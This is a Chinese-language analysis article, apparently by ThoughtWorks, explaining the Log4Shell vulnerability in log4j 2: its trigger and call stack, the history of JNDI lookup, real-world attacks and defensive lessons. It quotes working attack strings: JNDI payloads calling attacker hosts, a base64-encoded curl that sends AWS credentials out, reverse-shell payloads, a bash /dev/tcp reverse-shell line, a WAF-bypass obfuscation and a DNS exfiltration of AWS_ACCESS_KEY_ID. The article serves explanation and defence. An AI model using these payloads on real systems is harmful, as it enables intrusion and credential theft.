Ghost in the Log4Shell
多年以后,面對加班的夜晚,Volkan Yazıcı 一定會回憶起發生在 2021 年底的這件事情,除了沒日沒夜的工作和無休止的解釋以外,當然也少不了人們的憤怒和對他的謾罵。一不小心就見證歷史的,除了 log4j 的作者們,還有我們所有人。
起初,大家都度過了一個黑客狂歡,吃瓜群眾玩梗,開發們加班的周末,以為這可能是又一次“心臟出血”或者“永恒之藍”。隨著事情愈演愈烈,影響愈來愈大,現在大家都應該認識到,這個漏洞比心臟出血要嚴重得多。比如 CISA 的官員稱其為從業以來最嚴重的漏洞(之一),log4j 的修復也導致短短兩周內升了三個大版本(目前只有最新的 2.17.0 被認為是沒有問題的)。所以朋友們,不要懷疑,這絕對是一個有生之年系列。
核彈級漏洞 Log4Shell
漏洞本體 log4j 2.x,編號 CVE-2021-44228,滿分10分,花名 Log4Shell。
Log4Shell 之所以被稱之為一個核彈級漏洞,是因為它具有以下這些特征:
- 廣泛性:大(海)量 Java 應用都依賴于 log4j 2,log4j 是事實上的日志標準。而 Java 本身的跨平臺特性,使得所有主流操作系統包括各種運行 Java 的嵌入式設備都受到影響。
- 嚴重性:從花名 Log4Shell 就可以看出來,它是一個 RCE 漏洞,也就是遠程代碼執行漏洞。這是所有漏洞中級別最高的一種。
- 易利用性:該漏洞默認開啟,攻擊面廣,攻擊渠道多,攻擊效果穩定,攻擊條件易滿足,簡單來講,對攻擊者非常友好。堪稱腳本小子的入門級漏洞。
- 長期性:因為 Log4Shell 具有明顯的供應鏈攻擊特點,并且對于數量龐大的企業資產來說,確定影響范圍非常非常非常困難。保守估計,log4j 的負面影響至少需要半年時間來緩解。
眾說紛紜
距離漏洞爆出來已經過了三周,關于漏洞的討論已然鋪天蓋地,審美疲勞。這其中,有安全廠商第一時間出來提供緩解措施和修復建議,有云計算和安全廠商趁熱打鐵推銷他們的 WAF 或者其它安全產品;有很多的安全工作者在社交媒體上分享博客和文章,分析漏洞原理,科普安全知識;有開發人員質疑 log4j 的作者設計不當,莫名其妙,難辭其咎,也有開發人員對此表示理解,認為如今開源難做,重要而基礎的組件全是免費維護,而一毛不拔的大廠才是罪惡根源。
作為一個冷眼旁觀的安全工作者,筆者并不急于站隊,注意力則放在搜集和整理關于 Log4Shell 的各種或有趣,或有價值的事實和知識上。對于開發人員來說,第一要務是盡快修復自己的產品和代碼,但是忙碌之余,是不是也好奇除了這些無聊的升級和修復以外,關于 Log4Shell,還有哪些你需要知道的事情呢。
漏洞細節
以下代碼對于 log4j (< 2.15.0),默認會觸發這個漏洞:
- public class App {
- private static final Logger logger = LogManager.getLogger(App.class);
- public static void main(String[] args) {
- logger.error("${jndi:ldap://attacker.com/x}");
- }
- }
我們執果索因,先來直擊漏洞觸發時的調用棧:
- JndiLookup.lookup(LogEvent,String) (JndiLookup.class:51)
- Interpolator.lookup(LogEvent,String) (Interpolator.class:223)
- StrSubstitutor.resolveVariable(LogEvent,String,StringBuilder,int,int) (StrSubstitutor.class:1116)
- StrSubstitutor.substitute(LogEvent,StringBuilder,int,int,List) (StrSubstitutor.class:1038)
- StrSubstitutor.substitute(LogEvent,StringBuilder,int,int) (StrSubstitutor.class:912)
- StrSubstitutor.replace(LogEvent,String) (StrSubstitutor.class:467)
- MessagePatternConverter.format(LogEvent,StringBuilder) (MessagePatternConverter.class:132)
- PatternFormatter.format(LogEvent,StringBuilder) (PatternFormatter.class:38)
- PatternLayout$PatternSerializer.toSerializable(LogEvent,StringBuilder) (PatternLayout.class:345)
- PatternLayout.toText(AbstractStringLayout$Serializer2,LogEvent,StringBuilder) (PatternLayout.class:244)
- PatternLayout.encode(LogEvent,ByteBufferDestination) (PatternLayout.class:229)
- PatternLayout.encode(Object,ByteBufferDestination) (PatternLayout.class:59)
- AbstractOutputStreamAppender.directEncodeEvent(LogEvent) (AbstractOutputStreamAppender.class:197)
- AbstractOutputStreamAppender.tryAppend(LogEvent) (AbstractOutputStreamAppender.class:190)
- AbstractOutputStreamAppender.append(LogEvent) (AbstractOutputStreamAppender.class:181)
- AppenderControl.tryCallAppender(LogEvent) (AppenderControl.class:156)
- AppenderControl.callAppender0(LogEvent) (AppenderControl.class:129)
- AppenderControl.callAppenderPreventRecursion(LogEvent) (AppenderControl.class:120)
- AppenderControl.callAppender(LogEvent) (AppenderControl.class:84)
- LoggerConfig.callAppenders(LogEvent) (LoggerConfig.class:543)
- LoggerConfig.processLogEvent(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:502)
- LoggerConfig.log(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:485)
- LoggerConfig.log(String,String,StackTraceElement,Marker,Level,Message,Throwable) (LoggerConfig.class:460)
- AwaitCompletionReliabilityStrategy.log(Supplier,String,String,StackTraceElement,Marker,Level,Message,Throwable) (AwaitCompletionReliabilityStrategy.class:82)
- Logger.log(Level,Marker,String,StackTraceElement,Message,Throwable) (Logger.class:161)
- AbstractLogger.tryLogMessage(String,StackTraceElement,Level,Marker,Message,Throwable) (AbstractLogger.class:2198)
- AbstractLogger.logMessageTrackRecursion(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2152)
- AbstractLogger.logMessageSafely(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2135)
- AbstractLogger.logMessage(String,Level,Marker,String,Throwable) (AbstractLogger.class:2011)
- AbstractLogger.logIfEnabled(String,Level,Marker,String,Throwable) (AbstractLogger.class:1983)
- AbstractLogger.info(String) (AbstractLogger.class:1320)
- App.main(String[]) (App.java:19)
代碼執行到 jndiLookup.lookup 的時候觸發了這個漏洞。請注意以下幾個概念:
- PatternLayout: 又叫模式布局,也就是形如 %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n 的模式,我們常常會在配置文件中用它定義日志格式。這其中 %msg 就是指代我們傳給 log.error 方法的內容。
- Interpolator:Interpolator(插值器)是一種屬性占位符,而插值器會包含許多 StrLookup 對象,這些對象會在運行時通過調用 lookup 方法被替換成最終的值,比如 JNDI lookup。此外還有諸如 date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j這些 Lookup。所以你可以使用 ${jndi:key} 或者 ${env:key} 來替換 jndi 或者環境變量的內容,而且還支持嵌套。請參考 log4j 的文檔了解更多細節。
漏洞觸發的原因是因為 %msg 對應的 MessagePatternConvert 會使用 interpolator 來替換占位符,而 interpolator 默認包含 JNDI 的 lookup。這些可以很容易從上面的調用棧分析出來。一個有趣的事實就是不管有沒有這個漏洞,log4j 都比一個 system.out.println 要復雜和靈活更多 – 沒有了 JNDI,log4j 仍然支持大量的占位符替換,可以輕松訪問一些環境變量,一些上下文的狀態。從這個角度看,Log4Shell 終于把日志注入攻擊達到了大眾的視野中。
那為什么會有 JNDI 這個功能?
筆者猜想 90% 的開發人員了解以上這個漏洞細節后,心里肯定會罵一句臟話。原來 log4j 這濃眉大眼的這么狡猾啊,一直以為你是移動電話,沒想到還可以神不知鬼不覺地刮胡子啊。這恰恰是因為這個漏洞理解起來太容易,利用起來更容易,畢竟它是一個真正把 feature 做成了漏洞的范例。所以大家不禁要想這樣的功能是如何誕生的?請看這個 Jira issue,JNDI Lookup plugin support。
2013年7月,該功能(漏洞)首次被引入 log4j2。理由是:
“Currently, Lookup plugins [1] don't support JNDI resources.
It would be really convenient to support JNDI resource lookup in the configuration. One use case with JNDI lookup plugin is as follows: I'd like to use RoutingAppender [2] to put all the logs ?from the same web application context in a log file (a log file per web application context). And, I want to use JNDI resources look up to determine the target route (similarly to JNDI context selector of logback [3]). Determining the target route by JNDI lookup can be advantageous because we don't have to add any code to set properties for the thread context and JNDI lookup should always work even in a separate thread without copying thread context variables.” |
主要是兩點,一個是方便(JNDI確實方便啊),一個為了和 logback 兼容。而且提需求的人很爽快地附帶了一個實現補丁。安全最大的敵人,方便和兼容都出現了。雖然最開始的場景是在配置文件里使用 JNDI,但是強大如 log4j 沒理由不能在每一條消息里面使用它。
JNDI 可謂是 Log4Shell 的靈魂,但是反過來卻不是。針對 JNDI 的攻擊存在了多年,它本身就是 Java 的重要攻擊向量。想要學習更多 JNDI 攻擊原理的同學可以參考 Blackhat 2016 的經典 talk -- A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land
并且結合 log4j 提供的各種 lookup 和 converter,針對 JNDI 的攻擊也誕生了各種變形(為了繞過 WAF 和檢測),比如 ${${lower:jnd${lower:i}}:xxx}。說到底,log4j 真的是太靈活了。
Java 日志庫的前世今生
2001 年,軟件開發者 Ceki Gulcu 設計了 log4j(v1)。后來 sun 也在 JDK 引入了一個叫做 Java Util Logging 的日志框架。不過始終都沒有 log4j1 那么強大和流行。因為日志庫變多了,于是 Apache 趁機推出了所謂的 Logging Facade – JCL(Jakarta Common Logging),可以動態綁定使用的日志庫。
2006 年,Ceki 離開 Apache 之后又開發了新的 Logging Facade,也就是我們現在熟知的 Slf4j(Simple Logging Facade for Java)以及各種橋接包(包括橋接 log4j )。再之后,Ceki 又開發了 Logback 作為 Slf4j 的默認實現。至此 Slf4j + Logback 就變成一個新的強大而靈活的組合。
到了 2012 年,Apache 決定開發一個新的 logging framwork 來和 Slf4j + logback 競爭,這就是我們的主角 log4j2,以 log4j-api + log4j2-core 的形式,而且也不兼容 log4j v1。
所以現在 Java logging framework 就分為兩大陣營了。
社區反應
Log4Shell 的影響太大,也波及了其它日志庫。所以有人為 Logback 提交了一個 commit,強調 logback 和 log4j2 沒有任何關系,不共享代碼所以也不共享漏洞
https://github.com/qos-ch/logback/commit/b810c115e363081afc70f8bf4ee535318c3a34e1
而 Spring 則專門發文強調,Spring Starter 默認 logging 組件是 logback,不是 log4j2,所以沒有這個漏洞
https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
最后的最后,終于有人決定重新開始維護 log4j1 了
https://github.com/apache/logging-log4j1/commits/trunk
那我在用 log4j 1.x 我需要擔心 Log4Shell 嗎?
不需要。雖然 log4j 1.x 常年失修,疏于維護,但是不幸或者幸運的是,log4j1 并不會受到 Log4Shell 的影響。
非常非常的尷尬,一個自從 2012 年起就沒有維護的組件,一個包含有多個 CVE 常年居于各種掃描結果的榜首,但是卻因為一直找不到充分的攻擊證據,茍活在在各大企業的代碼庫中,這其中包括 Altassian 的全線產品。盡管 log4j1 的代碼行比較少,功能也很簡單,但是無論如何,經此一役,大家還是要認識到一個常年缺乏維護的基礎組件是多么的危險。
Android 設備會受到 Log4Shell 的影響嗎?
大概率不會。眾所周知,Android 也是運行在 Google 開發的 Java 虛擬機上,但是:
- log4j 家族都不支持 Android,因為沒人移植
- Android 自己已經自帶 logging 框架和相關基礎設施了
所以 Android OS 不會受到 Log4Shell 的影響,而 Android App,除非你自己移植了整個 log4j2 到 Android,否則答案也是 No。
Log4Shell 到底如何用來進行攻擊的?
早在 12 月 16 日,一些安全實驗室就已經捕捉到了一些野生 payload 用于真實的攻擊,比如:
- GET /$%7Bjndi:ldap://<redacted>/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIgaHR0cHM6Ly9jNnRkNW1lMnZ0Y<redacted>%7D HTTP/1.1
- Host:<redacted>
- User-Agent: ${jndi:ldap://<redacted>/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdz
- GET / HTTP/1.0
- User-Agent: borchuk/3.1 ${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}
- Accept: */*
- Bearer: ${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}
這些 payload 都是用一個叫 JNDIExploit 的工具庫生成的,中文的,大家自便。而該工具是 1 年前創建的。這說明要利用 Log4Shell,經典的 JNDI + LDAP 攻擊就足夠了。
這一套 exploit 工具集支持多種攻擊,比如各種基于 tomcat,spring 和 weblogic 的 webshell 和反向 shell。比如這段代碼
https://github.com/zzwlpx/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java#L103 :
- mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");
就是一個經典的只依賴于 bash 來實現反彈 shell 的例子。
此外,一家叫做 Bitdefender 的安全公司利用蜜罐,發現了大量僵尸網絡(botnet)和蠕蟲病毒利用 Log4Shell 的證據。其中,叫做 Muhstik 的 botnet 是最早的一批。這些僵尸網絡的目的主要是感染機器并在機器上部署挖礦程序。
另外,一個叫 Curated Intel 的組織維護了一個 github 倉庫,專門用來記錄和匯總針對 Log4Shell 攻擊證據和分析。
除了 RCE 我們還需要擔心什么?
對于現在復雜的企業網絡來說,要真正實施一次 RCE 攻擊可能并不是那么容易。但是這次 Log4Shell 真正帶來的巨大影響的,就是所謂的 DNS out-of-band attack(帶外攻擊)。我們已經注意到,在 JNDI + LDAP 的注入字符串中,一般都會使用域名來指定服務器。于是,這里就存在一個經典的注入帶外攻擊場景 – 如果你對 DNS 協議熟悉的話 – 當一個不存在的域名第一次被解析時,它一定會被中間的 DNS 服務器反復往上游傳遞,直到它到達所謂的權威服務器,也就是域名的所有者。
我們以 "${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.somedomain.com/x}" 為例。當漏洞被觸發時,被攻擊的對象會嘗試去連接 LDAP 服務器。根據之前提到的 env Lookup,${env:AWS_ACCESS_KEY_ID} 會被替換成相應的環境變量(如果存在的話),然后一個形如 "xxxxxxxx.somedomain.com" 的 DNS 請求就會被發出去。因為一般來說,"xxxxxxxx.somedomain.com" 是不存在的,但是 somedomain.com 卻是存在并且被攻擊者控制。所以最后,關于 "xxxxxxxx.somedomain.com" 的一切最后,都會去到攻擊者的服務器去查詢。于是 AWS_ACCESS_KEY_ID 就被泄露了。
環境變量可以挖掘的信息實在太豐富,同時考慮到其它 log4j2 自帶的 Lookup,即便泄露不了太多敏感信息,也提供了大量信息搜集的機會 – 而這往往是真正攻擊前最重要的步驟。
而對于企業來說,部署 WAF 或者防火墻來防御 RCE 攻擊是可行的,但是對于 DNS 帶外攻擊,實施審計和阻斷卻非常不現實。你可以想象一下,當你需要訪問一個新的第三方服務時,不僅需要網絡保證暢通,還需要安全部門放行你的 DNS 請求。而企業 DNS 服務往往是一個中心化的服務,這樣實施的成本實在太高。
假設防火墻或者 WAF 沒有防御住 Log4Shell 攻擊,企業應該采取什么樣的策略進行補救?
假如通過日志和 WAF 記錄都沒有找到有效的信息來排查或者防御 Log4Shell 的攻擊,或許縱深防御的思路可以幫到一些忙。通過部署 EDR 系統,終端審計系統或者某種沙箱系統,我們可以很方便地監控和阻止一些特殊命令的執行和一些典型的惡意行為。比如,如果一個 Java 進程 fork 了叫做 curl 和 cmd.exe 的子進程,那么這無論如何都是可疑的。這種思路不僅可以應對 Log4Shell,也可以對付未來出現的各種 RCE 型漏洞。當然,要發揮這種策略的效果,一個能快速響應的安全流程和策略分發機制必不可少,同時一個完備的資產管理和威脅管理系統也必須建立起來。
后 Log4Shell 時代,我們應該如何應對
核彈級漏洞 Log4Shell(CVE-2021-44228)的影響必將是深遠的,不僅僅是當下肉眼可見的攻擊事件和損失數據,在相當長時間的將來我們都會被這次的陰影所籠罩 – 蠕蟲病毒和勒索軟件的肆虐,個人敏感數據的大量泄漏。但是真正籠罩在大家心頭的還是因為它給了我們軟件工業重重一擊 – 為什么如此明顯的漏洞存在于如此基礎的組件之中長達 7-8 年之久?說好的開源軟件更安全呢?我們的軟件工業到底怎么啦?
當我們說安全難做的時候,往往不是說安全漏洞隱藏的多深,也不是說安全專家的稀缺。身處軟件工業的我們,聽說過太多傳說中的攻防故事,但大抵是愿意相信能力越大責任越大的 – 如果一個漏洞難以發掘和利用,那么它的攻擊成本是很高的,不管是從攻擊面還是從攻擊技術看;如果一個漏洞攻擊簡單,利用方便,那么防御的難度也會降低。當我們說安全難做的時候,其實還是在說的是人的因素,是安全中最難控制的一環。當 log4j2 作為 Java 應用中事實上的標準,被用在海量應用中,其中包括了幾乎所有互聯網巨頭,但是只有兩位開發人員免費維護時,這房間中的大象就已經存在了。我想說這不是開源軟件出了問題,而是我們對開源軟件的理解有問題。沒有人維護的軟件,即使是開源的,也不應該被認為是安全的!
因此,Log4Shell 漏洞作為一個分水嶺,那么給后 Log4Shell 時代的我們的啟示有哪些呢?
- 堅定不移的安全左移:想要通過使用和購買單獨的安全產品一次性解決問題的時代已經過去了,新時代的安全防御一定是個系統性方案,包括了架構,設計,開發,測試和運維。關鍵詞:SDLC,安全內建,DevSecOps
- 系統監控和應急響應:Cloud Native 時代,大家逐漸認識到需要上云的不僅僅是業務和應用,整個系統的監控也是必不可少的。但是安全領域的監控現在還是相對落后,不僅體現在工具上也體現在意識上。迅速建立一個系統化的資產管理和監控系統是當務之急。關鍵詞:SIEM,態勢感知,依賴管理和可視化
- 敏捷威脅建模:Log4Shell 的其中一個教訓是,不要相信任何用戶輸入,包括日志。過去我們做威脅建模,不管是 STRIDE 還是攻擊樹,往往只會把日志當成是敏感數據泄露的源頭,而不是攻擊的輸入。當我們反思為什么會漏掉這一環時,則恰恰說明了敏捷威脅建模的重要性。威脅建模不是一錘子買賣,它需要融入整個迭代中,這恰恰又印證了安全左移的理念。關鍵詞:敏捷威脅建模,資產分析,數據流可視化
【本文是51CTO專欄作者“ThoughtWorks”的原創稿件,微信公眾號:思特沃克,轉載請聯系原作者】